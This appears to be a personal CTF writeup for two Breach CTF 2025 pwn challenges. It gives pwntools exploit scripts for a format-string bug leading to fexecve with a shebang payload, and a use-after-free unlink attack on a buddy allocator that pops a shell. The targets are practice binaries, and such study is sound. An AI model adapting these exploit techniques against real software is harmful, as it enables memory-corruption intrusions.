Breach CTF 2025 pwn writeups
Last weekend, I took part in Breach CTF individually and got 10th place. The pwn challenges were pretty chill, so here are some writeups:
pwn/Fswn3d
: format string and fexecvepwn/Magicvault
: unlink exploit in a unique context
pwn/Fswn3d
Analysis
💡 Files given
ctfplayer@enxgmatic:~/breachers/fswn3d$ checksec main
[*] '/home/ctfplayer/breachers/fswn3d/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Analysis - win()
Looking at the source, we are given a win function.
char buffer[152];
void win() {
// create a new file descriptor with filename “payload”
int fd = memfd_create("payload", 0);
if (fd == -1) {
perror("memfd_create");
exit(1);
}
// write the value of buffer to the file referred to by the file descriptor
if (write(fd, buffer, 148) != 148) {
perror("write");
exit(1);
}
char *const args[] = {NULL};
char *const envp[] = {NULL};
// The file created by `memfd_create` will be executed by fexecve
fexecve(fd, args, envp);
perror("fexecve");
exit(1);
}
fexecve
and memfd_create
stand out. Based on the man pages, memfd_create
creates an anonymous file (a temporary file in RAM). This created file is then passed to fexecve
, which can be viewed as execve
but for file descriptors. We can control what is executed by changing the contents of the file.
Ok, but what should we write into the file for fexecve
to return the flag?
While typically we can run execve(/bin/sh)
to get a shell, if we write /bin/sh
to a file descriptor, we get an exec format error.
// code to demonstrate memfd_create and fexecve
int main() {
char buffer[152] = “/bin/sh”;
int fd = memfd_create("payload", 0);
write(fd, buffer, 148);
char *const args[] = {NULL};
char *const envp[] = {NULL};
fexecve(fd, args, envp);
perror("fexecve");
exit(1);
}
// output: fexecve: Exec format error
Following a writeup from ctftime, turns out we need to use shebangs, i.e. the characters #!
. Written at the start of scripts, they indicate which interpreter to execute the file with.
ℹ️ Note
You may have come across
.sh
scripts with the first line#!/bin/bash
.
When you run such a file using the command./script-name-here.sh
, it actually runs/bin/bash ./script-name-here.sh
.
ℹ️ Note
Another common occurrence of shebangs is at the beginning of python files. For example, in the screenshot, running
./sample.py
is equivalent to runningpython3 sample.py

Therefore, we need to write #!{command here}
to the file to execute commands. There are numerous ways we can get the flag from here, below is 2 of them:
- One is to use
#!/bin/cat flag.txt
to directly read the flag usingcat
(I’ll be using this for the writeup). - Another is with
#!/bin/sh\n/bin/sh
. This pops a shell when executed.
// code to demonstrate memfd_create and fexecve
int main() {
char buffer[152] = “#!/bin/cat flag.txt”;
int fd = memfd_create("payload", 0);
write(fd, buffer, 148);
char *const args[] = {NULL};
char *const envp[] = {NULL};
fexecve(fd, args, envp);
perror("fexecve");
exit(1);
}
// output: flag{test}
Since data from buffer
is written into the file, we now need to find a way to control buffer
to execute commands.
Analysis - main() and vuln()
The main function simply calls vuln()
.
int main() {
// run vuln()
setbuf(stdin, NULL);
setbuf(stdout, NULL);
vuln();
return 0;
}
Let’s look at vuln()
then.
void vuln() {
char first_name[28];
char last_name[28];
void **hint =
(void **)((char *)__builtin_frame_address(0) + sizeof(void *));
// get input for first_name
printf("Enter your first name: ");
fgets(first_name, sizeof(first_name), stdin);
first_name[strcspn(first_name, "\n")] = '\0';
printf("You entered ");
printf(first_name); // format string vulnerability
printf("\n");
// get input for last_name
printf("Enter your last name: ");
fgets(last_name, sizeof(last_name), stdin);
last_name[strcspn(last_name, "\n")] = '\0';
printf("You entered ");
printf(last_name); // format string vulnerability
printf("\n");
}
It can be clearly seen there are two format string vulnerabilities, giving us arbitrary read and write.
In summary, we need to make use of the format string vulns to complete the following:
- Write the string
#!/bin/cat flag.txt
intobuffer
- Ret2win by overwriting rip
Exploit
First off, let’s get some leaks. In the context of this challenge, the only one we are concerned with is PIE, since it affects the address of buffer
and win()
.
After playing around with the input, we can see the 6th offset points to the start of the stack.
- The address of the saved rip is at offset 7 (this is the variable
hint
). - The start of
first_name
is at offset 8, whilelast_name
is at offset 12. - Offset 19, which is the saved rip, will be suitable to obtain a PIE leak.

elf = context.binary = ELF('./main_patched')
io = elf.process(stdin=PTY)
# get pie leak
payload = b'%19$lx.'
io.sendline(payload)
io.recvuntil(b'You entered ')
leaks = io.recvline().strip()
elf.address = int(leaks.split(b'.')[0],16) - (0x5555555554b5 - 0x0000555555554000)
print('pie leak:', hex(elf.address))
Now, we are left with only one more input (for last_name
).That is certainly not enough to both overwrite the saved rip to win() as well as to write to buffer
. So, let’s instead overwrite the rip to point to main()
to give ourselves more format string exploits.
# overwrite the last byte of rip to the start of main
payload = b'%123x%7$hhn'
io.sendline(payload)
ℹ️ Note
To explain the payload:
- 123 or 0x7b is the value of the last byte of
main()
. We only need to overwrite the last byte here since the rest of the bytes in the saved rip is the same asmain()
.%123x
prints out 0x7b characters.%7$hhn
writes the number of characters printed out (i.e. 0x7b) to the address stored at offset 7 (i.e. the saved rip).hhn
ensures that only 1 byte is overwritten.
Moving on to buffer
, I decided to write one byte of the command at a time, while also overwriting the rip to main()
every round. This way, we effectively gain unlimited format string exploits.
# overwrite buffer to this command
command = b'#!/bin/cat flag.txt'
# get address of buffer
buffer = elf.address + 0x555555558040 - 0x0000555555554000
# overwrite buffer to the command we need, one byte at a time
for i in range(len(command)):
io.recvuntil(b'first name')
payload = b'%123x%7$hhn' # overwrite rip to main, so we can repeat this process
payload += b'A'*(16-len(payload))
payload += p64(buffer+i) # buffer adr to write to, at offset 10, for use in the next input
io.sendline(payload)
payload = b'%' + str(command[i]).encode() + b'c'
payload += b'%10$hhn' # overwrite buffer one byte at a time
io.sendline(payload)
ℹ️ Note
You need to write the address of
buffer
(and specifically in this case, which offset of buffer) somewhere on the stack.

Finally, let’s overwrite rip to win()
(remember PIE exists!). The flag will print out.
# overwrite last 2 bytes of rip to win, accounting for pie
io.recvuntil(b'first name')
win_val = str(int.from_bytes(p64(elf.sym.win)[:2], byteorder='little')).encode()
payload = b'%' + win_val + b'x%7$hn'
io.sendline(payload)
payload = b''
io.sendline(payload)
io.interactive()
Flag: Breach{5h0uldv3_l1573n3d_70_7h3_6cc_w4rn1n65}
pwn/MagicVault
I quite enjoyed this challenge, for while it is conceptually simple, it was well disguised within a unique context compared to a typical CRUD binary.
Analysis
💡 Files given
ctfplayer@enxgmatic:~/breachers/magicvault$ checksec main
[*] '/home/ctfplayer/breachers/magicvault/main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Analysis - magic_buddy
magic_buddy
is an implementation of the buddy memory allocation system. It splits memory into halves to determine the best fit i.e. it uses the memory block size 2m which satisfies 2m-1 < requested size <= 2m.
No deep knowledge about the buddy system is actually needed, and most of the code in it is irrelevant to the exploit.
To give a brief overview, init_buddy
initialises the buddy memory allocator, which is of the following struct. It includes an array of pointers to freed blocks (avail
), the starting memory address where blocks will be allocated to (base
), and its largest block size (root_logsize
).
#define MAGIC_COOKIE_BYTES 32
#define ADDRESS_BITS (8 * sizeof(void *))
struct buddy {
uint8_t magic[MAGIC_COOKIE_BYTES];
struct free_block *(avail[ADDRESS_BITS]);
size_t root_logsize;
void *base;
};
The allocate
and liberate
functions are similar to that of malloc()
and free()
respectively.
// Allocate a block of size >= @size
void *allocate(size_t size, struct buddy *state);
// Liberate a block of size @size starting at @base.
void liberate(void *base, size_t size, struct buddy *state);
Each freed memory block is represented by the following struct. With both next
and pprev
pointers, this is a doubly linked list, similar to that of e.g. a small bin. The magic
value is 32 random bytes to verify that a block is indeed freed. logsize
is the size of the freed block.
struct free_block {
struct free_block *next;
struct free_block **pprev;
uint8_t magic[MAGIC_COOKIE_BYTES];
uint8_t logsize;
};
Analysis - main
Now, let’s check out main.c
. The initialising function, init_app()
, is below.
#define POOL_SIZE 1024
#define CHUNK_SIZE 0x80
struct buddy state;
uint8_t pool[POOL_SIZE];
char *vault = NULL;
void (*fp)() = NULL;
void safe_notify() { puts("Notification: Your vault is secure."); }
void win() {
puts("Access granted! Spawning shell...");
system("/bin/sh");
}
void *vault_functions[2];
void init_app() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// initialise vault_functions
vault_functions[0] = win;
vault_functions[1] = safe_notify;
// value of fp is the pointer to safe_notify
fp = &vault_functions[1];
// randomly generate magic cookie bytes (used in magic_buddy)
uint8_t magic[MAGIC_COOKIE_BYTES];
if (getrandom(magic, MAGIC_COOKIE_BYTES, 0) != MAGIC_COOKIE_BYTES) {
perror("getrandom");
exit(1);
}
// initialises a buddy (via magic_buddy)
init_buddy(pool, POOL_SIZE, magic, &state);
}
In main()
, the binary has a CRUD-like menu of options.
Option 1. create_vault
: allocates a new block, allowing us to write to it. The allocate()
function is similar to malloc()
.
void create_vault() {
// checks vault is empty, i.e. no block has been allocated
if (vault != NULL) {
puts("Vault entry already exists!");
return;
}
// allocate a block
vault = allocate(CHUNK_SIZE, &state);
if (!vault) {
puts("Allocation failed.");
exit(1);
}
// get input, write to block
printf("Enter your vault note (max %d bytes): ", CHUNK_SIZE);
read(0, vault, CHUNK_SIZE);
}
Option 2. edit_vault
: edits the value of the block
void edit_vault() {
if (!vault) {
puts("No vault entry exists!");
return;
}
printf("Enter new vault note (max %d bytes): ", CHUNK_SIZE);
read(0, vault, CHUNK_SIZE);
}
Option 3. delete_vault
: liberates the block. However, the vault entry is not cleared afterwards. This means we have a use-after-free (UAF) primitive.
void delete_vault() {
if (!vault) {
puts("No vault entry exists!");
return;
}
puts("Deleting your vault entry...");
liberate(vault, CHUNK_SIZE, &state);
// vault is not nullified => UAF
}
Option 4. allocate_new_vault()
: allocates a new block, however we cannot directly write to it.
void allocate_new_vault() {
vault = allocate(CHUNK_SIZE, &state);
if (!vault) {
puts("Allocation failed.");
exit(1);
}
printf("New vault entry allocated at: %p\n", vault);
}
Option 5:. send_notification
: typically, this will run safe_notify()
. As such, our goal will be to overwrite fp
to &vault_functions[0]
, aka the pointer to win()
. Then, choosing this option will give us a shell.
void send_notification() {
void (*fp2)() = *((void **)fp);
puts("Sending notification...");
fp2();
}
Exploit
Since there is UAF, let’s check out allocate()
and see what values in the freed block we can change to get arb write.
static void *_allocate(size_t logsize, struct buddy *state) {
if (logsize > state->root_logsize) // check if requested size is too large
return 0;
if (state->avail[logsize]) { // check if there is an existing freed block of the correct size that can be used instead
struct free_block *block = pop(state->avail[logsize]);
memset(block, 0, sizeof(struct free_block));
return block;
}
if (logsize == state->root_logsize) // check if requested size is too large
return 0;
struct free_block *parent = _allocate(logsize + 1, state); // allocate a parent block
if (!parent)
return 0;
struct free_block *buddy = buddy_of(parent, logsize, state); // get buddy of parent
// split @parent in half and place the buddy on the avail list.
memcpy(buddy->magic, state->magic, sizeof(state->magic));
push(buddy, logsize, state);
return parent;
}
void *allocate(size_t size, struct buddy *state) {
if (size < sizeof(struct free_block))
size = sizeof(struct free_block);
return _allocate(size2log(size, 1), state);
}
Particularly, pop()
removes the block from the doubly linked list. This is functionally the same as the unlink mechanism in glibc heap. It writes the value of block->next
to the address given by block->pprev
.
static struct free_block *pop(struct free_block *block) {
// writes the value of block->next to the address given by block->pprev
*(block->pprev) = block->next;
if (block->next)
// writes the value of block->pprev at a 8 byte offset to the address given by block->next
block->next->pprev = block->pprev;
return block;
}
So, we could effectively perform an unlink exploit, editing the values of the next
and pprev
in order to get arb write. However, we can only write a maximum of 16 bytes, else we would edit magic
, causing the block to be considered invalid.
// interpret @block as a block at depth @logsize. is it free?
// block->magic needs to be equal to state->magic
static int isfree(struct free_block *block, size_t logsize,
struct buddy *state) {
return !memcmp(block->magic, state->magic, sizeof(state->magic)) &&
block->logsize == logsize;
}

We want to overwrite fp
(of address 0x405708
) to 0x405710
(the address of vault_functions[0]
, aka a pointer to win()
).
To do that, we can take advtange of the line *(block->pprev) = block->next;
in pop()
:
# create_vault()
io.recvuntil(b'Your choice:')
io.sendline(b'1')
payload = b'dsds' #any garbage value
io.send(payload)
# delete the vault, there is UAF
io.recvuntil(b'Your choice:')
io.sendline(b'3')
# edit the vault
# block->next is at offset 0, block->pprev is at offset 8
# pop() writes the value of `block->next` to the address given by `block->pprev`
# address of vault_functions[0], aka the pointer to win(), is written to fp
io.recvuntil(b'Your choice:')
io.sendline(b'2')
payload = p64(0x405710) + p64(0x405708)
io.send(payload)
❗ Caution
A second write occurs in the function with the line
block->next->pprev = block->pprev
. Ifblock->next->pprev
happens to be a non-writable memory address, the binary will crash.
Then, we need to allocate a new block via allocate_new_vault()
to trigger the exploit. fp
will be successfully overwritten. Finally, we can simply run send_notification()
to get a shell.
# allocate_new_vault to trigger pop() to run, aka have win() be written to fp
io.recvuntil(b'Your choice:')
io.sendline(b'4')
# run send_notification() -> win()
io.recvuntil(b'Your choice:')
io.sendline(b'5')
io.interactive()


Flag: Breach{m4g1c_u4f_70_v4u17_c0n7r01}